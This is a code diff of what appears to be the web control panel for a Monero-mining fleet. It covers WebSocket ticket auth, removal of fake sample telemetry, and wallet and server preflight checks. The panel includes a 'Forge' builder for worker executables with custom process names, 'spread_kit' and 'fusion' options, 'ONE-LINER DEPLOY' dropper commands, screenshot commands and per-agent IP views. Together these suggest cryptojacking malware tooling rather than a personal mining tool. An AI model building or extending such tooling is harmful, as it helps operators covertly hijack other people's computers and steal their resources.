|
||||||
it('schedules reconnect after close', () => {
|
it('schedules reconnect after close', async () => {
|
||||||
vi.useFakeTimers();
|
|
||||||
MockWebSocket.instances = [];
|
MockWebSocket.instances = [];
|
||||||
renderHook(() => useWebSocketContext(), { wrapper });
|
renderHook(() => useWebSocketContext(), { wrapper });
|
||||||
const first = latestSocket();
|
const first = await waitForSocket();
|
||||||
|
|
||||||
act(() => first.close());
|
act(() => first.close());
|
||||||
expect(MockWebSocket.instances).toHaveLength(1);
|
expect(MockWebSocket.instances).toHaveLength(1);
|
||||||
|
|
||||||
act(() => vi.advanceTimersByTime(3000));
|
await act(async () => {
|
||||||
expect(MockWebSocket.instances).toHaveLength(2);
|
await new Promise((r) => setTimeout(r, 3100));
|
||||||
vi.useRealTimers();
|
});
|
||||||
});
|
await waitFor(() => expect(MockWebSocket.instances).toHaveLength(2));
|
||||||
|
}, 10000);
|
||||||
|
|
||||||
it('closes socket on unmount', () => {
|
it('closes socket on unmount', async () => {
|
||||||
const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close');
|
const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close');
|
||||||
const { unmount } = render(<WebSocketProvider><span /></WebSocketProvider>);
|
const { unmount } = render(<WebSocketProvider><span /></WebSocketProvider>);
|
||||||
|
await waitForSocket();
|
||||||
unmount();
|
unmount();
|
||||||
expect(closeSpy).toHaveBeenCalled();
|
expect(closeSpy).toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import type {
|
|||||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||||
import { WebSocketContext } from './WebSocketContext';
|
import { WebSocketContext } from './WebSocketContext';
|
||||||
import type { SeqCommandResult } from './WebSocketContext';
|
import type { SeqCommandResult } from './WebSocketContext';
|
||||||
import { getStoredAuth } from '../api/auth';
|
import { authHeaders, getStoredAuth } from '../api/auth';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
||||||
@@ -54,25 +54,44 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
|
|
||||||
const existing = wsRef.current;
|
const existing = wsRef.current;
|
||||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||||
|
existing.onclose = null;
|
||||||
existing.close();
|
existing.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
const openSocket = async () => {
|
||||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?token=${encodeURIComponent(token)}`;
|
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||||
const ws = new WebSocket(wsUrl);
|
let wsQuery = `token=${encodeURIComponent(token)}`;
|
||||||
wsRef.current = ws;
|
try {
|
||||||
|
const resp = await fetch('/api/v1/auth/ws-ticket', {
|
||||||
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
|
method: 'POST',
|
||||||
|
headers: authHeaders(),
|
||||||
ws.onclose = () => {
|
});
|
||||||
|
if (resp.ok) {
|
||||||
|
const data = (await resp.json()) as { ticket?: string };
|
||||||
|
if (data.ticket) {
|
||||||
|
wsQuery = `ticket=${encodeURIComponent(data.ticket)}`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
/* fall back to legacy token query param */
|
||||||
|
}
|
||||||
if (unmounted.current) return;
|
if (unmounted.current) return;
|
||||||
setIsConnected(false);
|
|
||||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
|
||||||
if (!getStoredAuth()) return;
|
|
||||||
reconnectTimer.current = setTimeout(connect, 3000);
|
|
||||||
};
|
|
||||||
|
|
||||||
ws.onerror = () => { ws.close(); };
|
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
|
||||||
|
const ws = new WebSocket(wsUrl);
|
||||||
|
wsRef.current = ws;
|
||||||
|
|
||||||
|
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
|
||||||
|
|
||||||
|
ws.onclose = () => {
|
||||||
|
if (unmounted.current) return;
|
||||||
|
setIsConnected(false);
|
||||||
|
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||||
|
if (!getStoredAuth()) return;
|
||||||
|
reconnectTimer.current = setTimeout(connect, 3000);
|
||||||
|
};
|
||||||
|
|
||||||
|
ws.onerror = () => { ws.close(); };
|
||||||
|
|
||||||
ws.onmessage = (event) => {
|
ws.onmessage = (event) => {
|
||||||
try {
|
try {
|
||||||
@@ -222,6 +241,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
console.error('Failed to parse WebSocket message:', err);
|
console.error('Failed to parse WebSocket message:', err);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
void openSocket();
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
|
|||||||
@@ -5,8 +5,6 @@ import {
|
|||||||
resolveChartSeries,
|
resolveChartSeries,
|
||||||
chartSeriesDelta,
|
chartSeriesDelta,
|
||||||
chartSeriesPeak,
|
chartSeriesPeak,
|
||||||
SAMPLE_CONTRIBUTION_BARS,
|
|
||||||
SAMPLE_FLEET_PREVIEW,
|
|
||||||
} from './chartSampleData';
|
} from './chartSampleData';
|
||||||
|
|
||||||
describe('chartSampleData', () => {
|
describe('chartSampleData', () => {
|
||||||
@@ -20,44 +18,23 @@ describe('chartSampleData', () => {
|
|||||||
expect(chartSeriesPeak(series)).toBeGreaterThan(0);
|
expect(chartSeriesPeak(series)).toBeGreaterThan(0);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('hashrate sample trends upward (mining ramp)', () => {
|
it('resolveChartSeries returns empty when live is empty', () => {
|
||||||
const series = generateSampleSeries('hashrate', 48);
|
const { data, mode } = resolveChartSeries([]);
|
||||||
expect(series[series.length - 1].value).toBeGreaterThan(series[0].value);
|
expect(mode).toBe('empty');
|
||||||
const delta = chartSeriesDelta(series);
|
expect(data).toHaveLength(0);
|
||||||
expect(delta).not.toBeNull();
|
|
||||||
expect(delta!).toBeGreaterThan(0);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('accept sample stays in realistic pool band', () => {
|
it('resolveChartSeries returns live slice when data exists', () => {
|
||||||
const series = generateSampleSeries('accept', 48);
|
const live = generateSampleSeries('cpu', 20);
|
||||||
for (const p of series) {
|
const { data, mode } = resolveChartSeries(live);
|
||||||
expect(p.value).toBeGreaterThanOrEqual(90);
|
|
||||||
expect(p.value).toBeLessThanOrEqual(100);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
it('resolveChartSeries uses sample when live is empty', () => {
|
|
||||||
const { data, mode } = resolveChartSeries([], 'hashrate');
|
|
||||||
expect(mode).toBe('sample');
|
|
||||||
expect(data.length).toBe(48);
|
|
||||||
expect(validateChartSeries(data).ok).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('resolveChartSeries prefers live when enough points', () => {
|
|
||||||
const live = generateSampleSeries('cpu', 20).map((p, i) => ({
|
|
||||||
...p,
|
|
||||||
value: 40 + i * 0.5,
|
|
||||||
}));
|
|
||||||
const { data, mode } = resolveChartSeries(live, 'cpu');
|
|
||||||
expect(mode).toBe('live');
|
expect(mode).toBe('live');
|
||||||
expect(data.length).toBe(20);
|
expect(data.length).toBe(20);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('preview constants are internally consistent', () => {
|
it('chartSeriesDelta computes trend', () => {
|
||||||
const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0);
|
const series = generateSampleSeries('hashrate', 48);
|
||||||
expect(totalPct).toBeGreaterThan(98);
|
const delta = chartSeriesDelta(series);
|
||||||
expect(totalPct).toBeLessThan(102);
|
expect(delta).not.toBeNull();
|
||||||
expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000);
|
expect(delta!).toBeGreaterThan(0);
|
||||||
expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
|
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,41 +1,8 @@
|
|||||||
import type { ChartPoint } from '../components/Charts/HashrateChart';
|
import type { ChartPoint } from '../components/Charts/HashrateChart';
|
||||||
import type { ContributionBar } from './fleetAnalytics';
|
|
||||||
|
|
||||||
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
|
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
|
||||||
|
|
||||||
export type ChartDisplayMode = 'live' | 'sample' | 'blend';
|
export type ChartDisplayMode = 'live' | 'empty';
|
||||||
|
|
||||||
const MIN_LIVE_POINTS = 12;
|
|
||||||
|
|
||||||
/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
|
|
||||||
export const SAMPLE_FLEET_PREVIEW = {
|
|
||||||
hashrate: 128_400,
|
|
||||||
acceptRate: 96.8,
|
|
||||||
avgCpu: 52,
|
|
||||||
avgMem: 61,
|
|
||||||
onlinePct: 88,
|
|
||||||
onlineCount: 7,
|
|
||||||
agentCount: 8,
|
|
||||||
xmrPerDay: 0.0384,
|
|
||||||
xmrPrice: 168.42,
|
|
||||||
} as const;
|
|
||||||
|
|
||||||
export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
|
|
||||||
{ id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
|
|
||||||
{ id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
|
|
||||||
{ id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
|
|
||||||
{ id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
|
|
||||||
];
|
|
||||||
|
|
||||||
export const SAMPLE_ACTIVITY = [
|
|
||||||
{ id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
|
|
||||||
{ id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
|
|
||||||
{ id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
|
|
||||||
{ id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
|
|
||||||
{ id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
|
|
||||||
{ id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
|
|
||||||
{ id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
|
|
||||||
];
|
|
||||||
|
|
||||||
function formatTime(offsetMin: number): string {
|
function formatTime(offsetMin: number): string {
|
||||||
const d = new Date(Date.now() - offsetMin * 60_000);
|
const d = new Date(Date.now() - offsetMin * 60_000);
|
||||||
@@ -46,7 +13,7 @@ function noise(i: number, amp: number): number {
|
|||||||
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
|
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */
|
/** Test-only synthetic series (not used in production UI). */
|
||||||
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
|
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
|
||||||
const out: ChartPoint[] = [];
|
const out: ChartPoint[] = [];
|
||||||
for (let i = points - 1; i >= 0; i--) {
|
for (let i = points - 1; i >= 0; i--) {
|
||||||
@@ -92,41 +59,13 @@ export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors:
|
|||||||
return { ok: errors.length === 0, errors };
|
return { ok: errors.length === 0, errors };
|
||||||
}
|
}
|
||||||
|
|
||||||
function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean {
|
/** Live telemetry only — no sample or blended filler in the dashboard. */
|
||||||
if (live.length < MIN_LIVE_POINTS) return false;
|
export function resolveChartSeries(live: ChartPoint[]): { data: ChartPoint[]; mode: ChartDisplayMode } {
|
||||||
const vals = live.map((p) => p.value);
|
|
||||||
const max = Math.max(...vals);
|
|
||||||
const min = Math.min(...vals);
|
|
||||||
if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
|
|
||||||
return max - min > 0.05;
|
|
||||||
}
|
|
||||||
|
|
||||||
/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
|
|
||||||
export function resolveChartSeries(
|
|
||||||
live: ChartPoint[],
|
|
||||||
kind: ChartSeriesKind,
|
|
||||||
options?: { tailValue?: number; minPoints?: number }
|
|
||||||
): { data: ChartPoint[]; mode: ChartDisplayMode } {
|
|
||||||
const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
|
|
||||||
const validation = validateChartSeries(live);
|
const validation = validateChartSeries(live);
|
||||||
const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind);
|
if (!validation.ok || live.length === 0) {
|
||||||
|
return { data: [], mode: 'empty' };
|
||||||
if (liveOk) {
|
|
||||||
return { data: live.slice(-60), mode: 'live' };
|
|
||||||
}
|
}
|
||||||
|
return { data: live.slice(-60), mode: 'live' };
|
||||||
const sample = generateSampleSeries(kind, 48);
|
|
||||||
if (live.length === 0) {
|
|
||||||
if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
|
|
||||||
const last = sample[sample.length - 1];
|
|
||||||
sample[sample.length - 1] = { ...last, value: options.tailValue };
|
|
||||||
}
|
|
||||||
return { data: sample, mode: 'sample' };
|
|
||||||
}
|
|
||||||
|
|
||||||
const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
|
|
||||||
validateChartSeries(merged);
|
|
||||||
return { data: merged, mode: 'blend' };
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export function chartSeriesDelta(data: ChartPoint[]): number | null {
|
export function chartSeriesDelta(data: ChartPoint[]): number | null {
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import { runForgeCompatibilityChecks } from './forgeCompatibility';
|
import { runForgeCompatibilityChecks } from './forgeCompatibility';
|
||||||
|
import { runForgePreflight } from './forgeValidation';
|
||||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||||
import type { BuildRequest } from '../types';
|
import type { BuildRequest } from '../types';
|
||||||
|
|
||||||
@@ -177,35 +178,37 @@ describe('runForgeCompatibilityChecks', () => {
|
|||||||
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
|
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('errors when worker name is empty', () => {
|
it('errors when worker name is empty (preflight)', () => {
|
||||||
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
|
const checks = runForgePreflight(baseForm({ worker_name: '' }), false);
|
||||||
|
expect(checks.find((c) => c.id === 'worker')?.level).toBe('error');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('errors when server URL uses localhost', () => {
|
it('errors when server URL uses localhost (preflight)', () => {
|
||||||
expect(
|
const checks = runForgePreflight(baseForm({ server_url: 'http://localhost:8989' }), false);
|
||||||
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
|
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
|
||||||
).toBe(true);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('errors when server URL uses 127.0.0.1', () => {
|
it('errors when server URL uses 127.0.0.1 (preflight)', () => {
|
||||||
expect(
|
const checks = runForgePreflight(baseForm({ server_url: 'http://127.0.0.1:8989' }), false);
|
||||||
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
|
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
|
||||||
).toBe(true);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('warns when wallet does not match Monero format', () => {
|
it('warns when wallet does not match Monero format (preflight)', () => {
|
||||||
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
|
const checks = runForgePreflight(baseForm({ wallet: 'not-a-wallet' }), false);
|
||||||
|
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('warn');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('accepts minimum-length wallet (90 chars)', () => {
|
it('accepts minimum-length wallet (90 chars) in preflight', () => {
|
||||||
const wallet = '4' + 'A'.repeat(89);
|
const wallet = '4' + 'A'.repeat(89);
|
||||||
expect(wallet.length).toBe(90);
|
expect(wallet.length).toBe(90);
|
||||||
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
|
const checks = runForgePreflight(baseForm({ wallet }), false);
|
||||||
|
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('accepts subaddress starting with 8', () => {
|
it('accepts subaddress starting with 8 in preflight', () => {
|
||||||
const subaddress = '8' + 'B'.repeat(94);
|
const subaddress = '8' + 'B'.repeat(94);
|
||||||
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
|
const checks = runForgePreflight(baseForm({ wallet: subaddress }), false);
|
||||||
|
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('emits forge_ready when core config is coherent', () => {
|
it('emits forge_ready when core config is coherent', () => {
|
||||||
|
|||||||
@@ -1,11 +1,6 @@
|
|||||||
import type { BuildRequest } from '../types';
|
import type { BuildRequest } from '../types';
|
||||||
import type { PreflightCheck } from './forgeValidation';
|
import type { PreflightCheck } from './forgeValidation';
|
||||||
|
import { looksLikeXMRWallet } from './forgeValidation';
|
||||||
function looksLikeXMRWallet(addr: string): boolean {
|
|
||||||
const a = addr.trim();
|
|
||||||
// Standard Monero addresses start with 4, subaddresses with 8
|
|
||||||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
|
||||||
}
|
|
||||||
|
|
||||||
/** Extra incompatibility checks beyond basic validation. */
|
/** Extra incompatibility checks beyond basic validation. */
|
||||||
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||||
@@ -170,30 +165,6 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
|||||||
const workerName = form.worker_name || '';
|
const workerName = form.worker_name || '';
|
||||||
const serverUrl = form.server_url || '';
|
const serverUrl = form.server_url || '';
|
||||||
|
|
||||||
if (!workerName.trim()) {
|
|
||||||
checks.push({
|
|
||||||
id: 'worker_name_empty',
|
|
||||||
level: 'error',
|
|
||||||
message: 'Worker Name is required. This identifies the machine in your fleet.',
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
|
|
||||||
checks.push({
|
|
||||||
id: 'server_url_localhost',
|
|
||||||
level: 'error',
|
|
||||||
message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
|
|
||||||
checks.push({
|
|
||||||
id: 'wallet_invalid',
|
|
||||||
level: 'warn',
|
|
||||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
|
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
|
||||||
checks.push({
|
checks.push({
|
||||||
id: 'forge_ready',
|
id: 'forge_ready',
|
||||||
|
|||||||
@@ -37,8 +37,8 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
|||||||
];
|
];
|
||||||
|
|
||||||
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
||||||
if (form.fusion_enabled) return 'fusion';
|
|
||||||
if (form.spread_kit) return 'spread_kit';
|
if (form.spread_kit) return 'spread_kit';
|
||||||
|
if (form.fusion_enabled) return 'fusion';
|
||||||
return 'single';
|
return 'single';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -64,7 +64,7 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
|
|||||||
if (!form.wallet.trim()) {
|
if (!form.wallet.trim()) {
|
||||||
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
||||||
} else if (!looksLikeXMRWallet(form.wallet)) {
|
} else if (!looksLikeXMRWallet(form.wallet)) {
|
||||||
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
|
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90–106).' });
|
||||||
} else {
|
} else {
|
||||||
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
|
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -113,6 +113,14 @@ export default function AgentsPage() {
|
|||||||
[agents]
|
[agents]
|
||||||
);
|
);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const liveIds = new Set(agents.map((a) => a.id));
|
||||||
|
setSelectedIds((prev) => {
|
||||||
|
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
|
||||||
|
return pruned.size === prev.size ? prev : pruned;
|
||||||
|
});
|
||||||
|
}, [agents]);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!commandResults?.length || !screenshotWatchId.current) return;
|
if (!commandResults?.length || !screenshotWatchId.current) return;
|
||||||
const watch = screenshotWatchId.current;
|
const watch = screenshotWatchId.current;
|
||||||
@@ -516,7 +524,13 @@ export default function AgentsPage() {
|
|||||||
</div>
|
</div>
|
||||||
<div className="detail-item">
|
<div className="detail-item">
|
||||||
<span className="detail-label">Wallet</span>
|
<span className="detail-label">Wallet</span>
|
||||||
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
|
<span className="detail-value mono">
|
||||||
|
{selectedAgent.wallet
|
||||||
|
? selectedAgent.wallet.length > 24
|
||||||
|
? `${selectedAgent.wallet.slice(0, 20)}…`
|
||||||
|
: selectedAgent.wallet
|
||||||
|
: '—'}
|
||||||
|
</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="detail-item">
|
<div className="detail-item">
|
||||||
<span className="detail-label">IP Address</span>
|
<span className="detail-label">IP Address</span>
|
||||||
@@ -597,9 +611,7 @@ export default function AgentsPage() {
|
|||||||
time: new Date(s.timestamp).toLocaleTimeString(),
|
time: new Date(s.timestamp).toLocaleTimeString(),
|
||||||
value: s.hashrate,
|
value: s.hashrate,
|
||||||
}));
|
}));
|
||||||
const chart = resolveChartSeries(live, 'hashrate', {
|
const chart = resolveChartSeries(live);
|
||||||
tailValue: selectedAgent.hashrate_15m,
|
|
||||||
});
|
|
||||||
return (
|
return (
|
||||||
<HashrateChart
|
<HashrateChart
|
||||||
title=""
|
title=""
|
||||||
|
|||||||
@@ -71,23 +71,27 @@ function CopyButton({ text, label }: { text: string; label: string }) {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
|
function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
|
||||||
const [confirming, setConfirming] = useState(false);
|
const [confirming, setConfirming] = useState(false);
|
||||||
const [busy, setBusy] = useState(false);
|
const [busy, setBusy] = useState(false);
|
||||||
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||||
|
|
||||||
const handleClick = () => {
|
const handleClick = async () => {
|
||||||
if (!confirming) {
|
if (!confirming) {
|
||||||
setConfirming(true);
|
setConfirming(true);
|
||||||
timerRef.current = setTimeout(() => setConfirming(false), 3000);
|
timerRef.current = setTimeout(() => setConfirming(false), 3000);
|
||||||
} else {
|
return;
|
||||||
if (timerRef.current) clearTimeout(timerRef.current);
|
}
|
||||||
setBusy(true);
|
if (timerRef.current) clearTimeout(timerRef.current);
|
||||||
api.deleteBuild(buildId).finally(() => {
|
setBusy(true);
|
||||||
setBusy(false);
|
try {
|
||||||
setConfirming(false);
|
await api.deleteBuild(buildId);
|
||||||
onDeleted();
|
onDeleted();
|
||||||
});
|
} catch (e) {
|
||||||
|
onError(e instanceof Error ? e.message : 'Failed to delete build');
|
||||||
|
} finally {
|
||||||
|
setBusy(false);
|
||||||
|
setConfirming(false);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -96,7 +100,7 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
|
|||||||
type="button"
|
type="button"
|
||||||
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
|
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
|
||||||
disabled={busy}
|
disabled={busy}
|
||||||
onClick={handleClick}
|
onClick={() => void handleClick()}
|
||||||
title="Delete this build from server"
|
title="Delete this build from server"
|
||||||
>
|
>
|
||||||
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
|
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
|
||||||
@@ -104,7 +108,17 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
|
function PinButton({
|
||||||
|
buildId,
|
||||||
|
pinned,
|
||||||
|
onPinned,
|
||||||
|
onError,
|
||||||
|
}: {
|
||||||
|
buildId: string;
|
||||||
|
pinned: boolean;
|
||||||
|
onPinned: () => void;
|
||||||
|
onError: (msg: string) => void;
|
||||||
|
}) {
|
||||||
const [busy, setBusy] = useState(false);
|
const [busy, setBusy] = useState(false);
|
||||||
|
|
||||||
const handleClick = async () => {
|
const handleClick = async () => {
|
||||||
@@ -118,7 +132,7 @@ function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boo
|
|||||||
}
|
}
|
||||||
onPinned();
|
onPinned();
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
console.error(e);
|
onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
|
||||||
} finally {
|
} finally {
|
||||||
setBusy(false);
|
setBusy(false);
|
||||||
}
|
}
|
||||||
@@ -145,12 +159,14 @@ function BuildCard({
|
|||||||
onReforge,
|
onReforge,
|
||||||
onDeleted,
|
onDeleted,
|
||||||
onPinned,
|
onPinned,
|
||||||
|
onActionError,
|
||||||
}: {
|
}: {
|
||||||
build: BuildRecord;
|
build: BuildRecord;
|
||||||
serverBase: string;
|
serverBase: string;
|
||||||
onReforge: (b: BuildRecord) => void;
|
onReforge: (b: BuildRecord) => void;
|
||||||
onDeleted: () => void;
|
onDeleted: () => void;
|
||||||
onPinned: () => void;
|
onPinned: () => void;
|
||||||
|
onActionError: (msg: string) => void;
|
||||||
}) {
|
}) {
|
||||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||||
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
|
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
|
||||||
@@ -249,7 +265,11 @@ function BuildCard({
|
|||||||
|
|
||||||
{/* ── Dropper one-liners ── */}
|
{/* ── Dropper one-liners ── */}
|
||||||
<div className="bm-dropper">
|
<div className="bm-dropper">
|
||||||
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
|
<div className="bm-downloads-label font-tech">
|
||||||
|
{build.pinned
|
||||||
|
? 'ONE-LINER DEPLOY (serves this pinned build)'
|
||||||
|
: 'ONE-LINER DEPLOY (serves latest build)'}
|
||||||
|
</div>
|
||||||
<div className="bm-dropper-row">
|
<div className="bm-dropper-row">
|
||||||
<span className="bm-dropper-os">Win</span>
|
<span className="bm-dropper-os">Win</span>
|
||||||
<code className="bm-dropper-cmd">{ps1}</code>
|
<code className="bm-dropper-cmd">{ps1}</code>
|
||||||
@@ -274,7 +294,7 @@ function BuildCard({
|
|||||||
<span className="bm-qr-label">Scan to download</span>
|
<span className="bm-qr-label">Scan to download</span>
